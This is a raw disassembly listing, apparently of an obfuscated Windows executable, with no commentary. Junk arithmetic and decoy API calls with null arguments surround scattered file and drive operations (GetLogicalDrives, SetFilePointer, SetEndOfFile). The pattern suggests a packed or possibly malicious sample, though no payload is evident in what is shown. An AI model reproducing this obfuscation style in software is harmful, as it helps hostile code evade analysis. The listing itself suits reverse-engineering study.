mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov dword [rsp + 0x5964], eax
mov eax, dword [rsp + 0x536c]
mov ecx, dword [rsp + 0x4a48]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5950], eax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb3f0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa018], rax
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1188]
and eax, ecx
mov word [rsp + 0x1c04], ax
mov rax, qword [rsp + 0xb458]
movzx eax, word [rax]
mov word [0x140183b18], ax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xa240]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb490], rax
jmp 0x140019f82
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39d]
sub eax, ecx
mov byte [rsp + 0x38b], al
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bf0], ax
movsx eax, word [0x140183b18]
movsx ecx, word [rsp + 0x1bb0]
sub eax, ecx
mov word [rsp + 0x1bf4], ax
mov rax, qword [rsp + 0xb2b8]
mov ecx, dword [rsp + 0x5904]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5894], eax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb188]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1e0], rax
lea rcx, [rsp + 0x5868]
call qword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [rsp + 0x5968], eax
mov rax, qword [rsp + 0xb200]
mov ecx, dword [rsp + 0x5950]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb200]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb3d8]
movzx eax, byte [rax]
movzx ecx, byte [0x140177038]
sub eax, ecx
mov byte [rsp + 0x3a1], al
movzx eax, word [rsp + 0x1ba4]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401773a4], ax
movsx eax, word [rsp + 0x1bb0]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1bd8], ax
movzx eax, byte [rsp + 0x39e]
mov byte [rsp + 0x3a8], al
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xb350]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb138], rax
mov rax, qword [rsp + 0xafe0]
mov qword [rsp + 0xb578], rax
movabs rax, 0x7d8c09f3a55ea5
cmp qword [rsp + 0xb578], rax
je 0x14001a04c
movabs rax, 0xbe6b800000000000
cmp qword [rsp + 0xb578], rax
je 0x140019fef
jmp 0x14001a12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0xb498]
mov rax, qword [rax]
mov qword [rsp + 0xb580], rax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4af4]
shl eax, cl
mov dword [rsp + 0x58ec], eax
mov rax, qword [rsp + 0xb420]
mov rcx, qword [rsp + 0xb160]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb200]
mov dword [rcx], eax
jmp 0x14001a12d
lea rcx, [rsp + 0xb498]
call qword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [rsp + 0x5868], eax
mov rax, qword [rsp + 0xb130]
mov rcx, qword [rsp + 0xafe0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9800], rax
movzx eax, word [rsp + 0xaec]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfe8], ax
mov rax, qword [rsp + 0xb400]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb388]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140183b18], ax
movsx eax, byte [rsp + 0x3a6]
movsx ecx, byte [rsp + 0x264]
sub eax, ecx
mov byte [rsp + 0x39d], al
movzx eax, byte [rsp + 0x3a8]
movzx ecx, byte [rsp + 0x39e]
sub eax, ecx
mov byte [rsp + 0x3a1], al
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xb350]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x92c8], rax
movzx eax, byte [rsp + 0x3a3]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb2f0]
mov byte [rcx], al
movzx ecx, word [rsp + 0x1be4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1c10], ax
mov rax, qword [0x140183b30]
mov rcx, qword [rsp + 0xb568]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb4d8]
mov rdx, qword [rsp + 0xb250]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x14015a193
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov byte [rsp + 0x596c], al
cmp byte [rsp + 0x596c], 0xfd
je 0x14001a198
jmp 0x14001a267
mov rax, qword [rsp + 0xb440]
mov rcx, qword [rsp + 0xafe0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb1c8], rax
mov rax, qword [rsp + 0xb330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x58b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5940], eax
mov edx, 0x7e
mov rcx, qword [rsp + 0xb370]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0xb4b8], rax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb510]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x264], al
movzx eax, word [rsp + 0x1bcc]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xfe8], ax
movzx eax, byte [rsp + 0x39c]
movzx ecx, byte [rsp + 0x39b]
or eax, ecx
mov rcx, qword [0x140183b20]
mov byte [rcx], al
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x3a5], al
jmp 0x14015a0be
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
cmp dword [rsp + 0x5928], 0xd6ba
jb 0x14001a784
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb498]
mov qword [rsp + 0xb588], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb588]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa240], rax
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xb2b0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb350]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x536c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5808], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov eax, dword [rsp + 0x58c4]
mov ecx, dword [rsp + 0x58b0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb1b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb440]
mov rcx, qword [rsp + 0xb1e0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb518], rax
movsx eax, word [rsp + 0x1bf4]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb400]
mov word [rcx], ax
movzx eax, word [0x140177390]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bc4], ax
movzx eax, byte [rsp + 0xee]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140177038], al
mov rax, qword [0x140183b30]
mov rcx, qword [rsp + 0xb2b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb0f0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb350]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1bf4]
movsx ecx, word [rsp + 0x1bb0]
or eax, ecx
mov word [rsp + 0x1bd8], ax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401773a0]
shl eax, cl
mov dword [rsp + 0x58d0], eax
mov rax, qword [rsp + 0xb440]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1e0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9800], rax
mov eax, dword [rsp + 0x5928]
sub eax, 0x78
mov dword [rsp + 0x5928], eax
movsx eax, byte [rsp + 0x3a4]
mov rcx, qword [rsp + 0xb510]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x39d], al
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x53f8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x492c], eax
movzx eax, word [rsp + 0x1bf0]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c04], ax
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bb0]
sub eax, ecx
mov word [0x1401773b8], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb340], rax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39b]
sub eax, ecx
mov byte [rsp + 0x69], al
lea rdx, [rsp + 0xb210]
mov rcx, qword [rsp + 0xb390]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5830], eax
movzx eax, word [0x1401773a4]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ba4], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x76bc
mov rcx, qword [rsp + 0xb2d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x58bc], eax
movzx eax, byte [rsp + 0x3a2]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0xb160]
mov ecx, dword [rsp + 0x53f8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5950], eax
mov rax, qword [rsp + 0xb1b8]
mov rcx, qword [rsp + 0xb330]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5964], eax
mov rax, qword [rsp + 0xb440]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb408]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb3f0], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1be8]
add eax, ecx
mov word [rsp + 0xfe8], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x5970], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x1bf4]
movsx ecx, word [rsp + 0x1bf8]
xor eax, ecx
mov word [rsp + 0x1bd8], ax
mov rax, qword [0x140183b20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14017703b], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb398]
sar rax, cl
mov qword [rsp + 0xb500], rax
mov rax, qword [0x140177398]
movzx ecx, al
mov rax, qword [rsp + 0xb4d0]
shl rax, cl
mov rcx, qword [rsp + 0xb350]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb498]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb580], rax
movzx eax, word [rsp + 0xaec]
movzx ecx, word [rsp + 0xb38]
sub eax, ecx
mov word [rsp + 0x1be8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x21b]
add eax, ecx
mov byte [rsp + 0x3a4], al
mov rax, qword [rsp + 0xb488]
mov rcx, qword [rsp + 0xb420]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4b3c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov eax, dword [rsp + 0x58c4]
mov ecx, dword [0x1401773a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58b0], eax
mov rax, qword [rsp + 0xa018]
mov rcx, qword [rsp + 0xafe0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f48], rax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba8]
and eax, ecx
mov word [0x1401773b8], ax
movzx eax, byte [rsp + 0x3a2]
movzx ecx, byte [rsp + 0x3a0]
sub eax, ecx
mov byte [rsp + 0x39e], al
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bf0]
add eax, ecx
mov word [rsp + 0x1188], ax
mov rax, qword [0x140183b20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3a0], al
jmp 0x14001a271
cmp dword [rsp + 0x58b8], 0xce95
ja 0x14001ad1d
mov rax, qword [rsp + 0xb458]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b98]
or eax, ecx
mov word [rsp + 0x1bd8], ax
mov rcx, qword [rsp + 0xb260]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x594c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
lea rcx, [rsp + 0x18838]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xb2b8]
mov rcx, qword [rsp + 0xb1b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5964], eax
mov rax, qword [rsp + 0x9f48]
mov rcx, qword [rsp + 0xb440]
mov qword [rsp + 0xb590], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb590]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xa018], rax
mov rcx, qword [rsp + 0xb468]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x5830], eax
mov eax, dword [rsp + 0x58b8]
add eax, 0x2c
mov dword [rsp + 0x58b8], eax
movzx ecx, word [rsp + 0x1bac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bc0], ax
mov eax, dword [rsp + 0x4b3c]
mov rcx, qword [rsp + 0xb488]
mov qword [rsp + 0xb598], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb598]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x48a8], eax
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xb4d8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb3a0], rax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39b]
add eax, ecx
mov byte [0x14017703b], al
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bc4], ax
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bf4]
sub eax, ecx
mov word [rsp + 0x1be0], ax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39d]
add eax, ecx
mov byte [rsp + 0x3a6], al
mov rcx, qword [rsp + 0xb2d0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x58bc], eax
mov rax, qword [rsp + 0xb498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb368]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb560], rax
mov rax, qword [rsp + 0xb200]
mov ecx, dword [rsp + 0x48a8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4a48], eax
mov rax, qword [rsp + 0xb408]
mov rcx, qword [rsp + 0xb3f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb440]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5894]
mov ecx, dword [rsp + 0x5814]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5940], eax
lea rcx, [rsp + 0x18838]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba0]
xor eax, ecx
mov word [rsp + 0x1bf8], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401773a4], ax
movzx eax, byte [rsp + 0x3a8]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x39b], al
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb368]
sar rax, cl
mov qword [rsp + 0xb4d0], rax
lea rdx, [rsp + 0x1a178]
mov rcx, qword [rsp + 0xb290]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x5974], eax
lea rcx, [rsp + 0x194e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xb360]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb500], rax
movsx eax, word [rsp + 0x1ba8]
mov rcx, qword [rsp + 0xb388]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1bf8], ax
mov eax, dword [rsp + 0x5808]
mov ecx, dword [rsp + 0x4b3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5834], eax
mov rax, qword [rsp + 0xb440]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa2c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1c8], rax
mov rax, qword [rsp + 0xb2b8]
mov rcx, qword [rsp + 0xb330]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x58ec], eax
mov rax, qword [rsp + 0xb3d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x69]
add eax, ecx
mov byte [rsp + 0x3a0], al
movzx eax, word [0x1401773c0]
movzx ecx, word [rsp + 0x1c04]
add eax, ecx
mov word [0x1401773bc], ax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb4d0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb568], rax
mov rcx, qword [rsp + 0xb260]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x58e8], eax
movsx eax, byte [rsp + 0x39a]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x264], al
mov rax, qword [rsp + 0xb400]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bf8]
and eax, ecx
mov word [rsp + 0xfec], ax
movzx eax, byte [rsp + 0x3a0]
mov rcx, qword [0x140183b20]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x39c], al
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4af4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5814], eax
mov rax, qword [rsp + 0xb440]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb188]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f48], rax
mov eax, dword [rsp + 0x48a8]
mov rcx, qword [rsp + 0xb420]
mov qword [rsp + 0xb5a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb5a0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4a48], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c08]
add eax, ecx
mov rcx, qword [rsp + 0xb480]
mov word [rcx], ax
mov rax, qword [0x140183b20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
sub eax, ecx
mov byte [reloc.SHELL32.dll_PathMakeUniqueName], al
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bf4]
and eax, ecx
mov word [rsp + 0x1b98], ax
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c08], ax
mov rax, qword [rsp + 0xb490]
mov rcx, qword [rsp + 0x92c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb368], rax
mov rax, qword [rsp + 0xb498]
mov rcx, qword [0x140183b30]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb500], rax
mov rax, qword [rsp + 0xb200]
mov ecx, dword [rsp + 0x5834]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5808], eax
lea rcx, [rsp + 0x187e8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
jmp 0x14001a784
mov rax, qword [rsp + 0xb1e0]
mov qword [rsp + 0xb5a8], rax
cmp dword [rsp + 0x58f4], 0xe9df
jb 0x14001af37
mov rax, qword [rsp + 0xb1b8]
mov rcx, qword [rsp + 0xb330]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb2b8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
movzx ecx, word [rsp + 0x1bac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bac], ax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a0]
add eax, ecx
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b20]
add eax, ecx
mov word [0x1401773a4], ax
movsx eax, byte [rsp + 0x264]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3a6], al
movsx eax, word [rsp + 0x1b98]
movsx ecx, word [rsp + 0x1ba0]
or eax, ecx
mov word [rsp + 0x1be0], ax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb360]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb4d8], rax
mov eax, dword [rsp + 0x58f4]
sub eax, 0xd1
mov dword [rsp + 0x58f4], eax
movzx eax, byte [rsp + 0x3a0]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3a8], al
mov eax, dword [rsp + 0x4b3c]
mov rcx, qword [rsp + 0xb420]
mov qword [rsp + 0xb5b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb5b0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x492c], eax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57b0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5814], eax
mov rax, qword [rsp + 0xb3f0]
mov rcx, qword [rsp + 0x96e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb408], rax
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c08]
add eax, ecx
mov word [rsp + 0xb38], ax
movsx eax, word [rsp + 0xfec]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140183b18], ax
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xa240]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb350]
mov qword [rcx], rax
movsx eax, word [rsp + 0xfec]
movsx ecx, word [rsp + 0x1be0]
sub eax, ecx
mov word [rsp + 0x1bb0], ax
mov rax, qword [0x140183b20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3a5], al
jmp 0x14001ad2d
movzx eax, word [rsp + 0x1bf0]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c04], ax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb088], rax
movsx eax, word [rsp + 0x1bf8]
mov dword [rsp + 0x5978], eax
cmp dword [rsp + 0x5978], 0x6d6
je 0x14001af96
jmp 0x14001b017
mov edx, dword [rsp + 0x5904]
mov rax, qword [rsp + 0xb2b8]
mov ecx, dword [rax]
call fcn.14015b480
mov eax, dword [0x1401773a0]
movzx ecx, al
mov eax, dword [rsp + 0x5814]
shr eax, cl
mov dword [rsp + 0x58d0], eax
mov rax, qword [rsp + 0xb2c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5834]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x536c], eax
movsx eax, byte [rsp + 0x3a4]
movsx ecx, byte [rsp + 0x26c]
or eax, ecx
mov byte [rsp + 0x21b], al
movzx eax, byte [reloc.SHELL32.dll_PathMakeUniqueName]
movzx ecx, byte [rsp + 0x1fa]
shl eax, cl
mov byte [rsp + 0x3a2], al
jmp 0x14015a0b0
mov rax, qword [rsp + 0xb2c0]
mov eax, dword [rax]
mov dword [rsp + 0x597c], eax
cmp dword [rsp + 0x597c], 0x393f
je 0x14001b03a
jmp 0x14001b148
mov rax, qword [rsp + 0xb420]
mov rcx, qword [rsp + 0xb200]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x53f8], eax
mov r8, qword [rsp + 0xb5b8]
mov rdx, qword [rsp + 0xb178]
mov rcx, qword [rsp + 0xb198]
call qword [sym.imp.SHELL32.dll_FindExecutableW]
mov qword [rsp + 0xb5c0], rax
mov rax, qword [rsp + 0xb2b8]
mov ecx, dword [0x140177394]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x58ec], eax
mov rax, qword [rsp + 0xb440]
mov rcx, qword [rsp + 0xb270]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb088], rax
movsx eax, word [rsp + 0x1bb0]
mov rcx, qword [rsp + 0xb400]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfec], ax
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaec]
add eax, ecx
mov word [rsp + 0x1bd0], ax
movzx eax, byte [rsp + 0x3a8]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140183b48], al
mov rax, qword [rsp + 0xb498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb350]
mov qword [rsp + 0xb5c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb5c8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xb350]
mov qword [rcx], rax
jmp 0x140159ffc
lea rax, [rsp + 0x92c8]
mov qword [rsp + 0xb5d0], rax
movzx ecx, word [rsp + 0x1bbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bc0], ax
movsx eax, word [rsp + 0x1bb0]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1bd8], ax
mov eax, dword [rsp + 0x4b3c]
mov ecx, dword [rsp + 0x536c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb2c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb440]
mov rax, qword [rax]
mov qword [rsp + 0xb5d8], rax
mov rax, qword [rsp + 0xb510]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x38b], al
mov rax, qword [rsp + 0xb330]
mov eax, dword [rax]
mov dword [rsp + 0x5980], eax
mov rax, qword [rsp + 0xb3d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
and eax, ecx
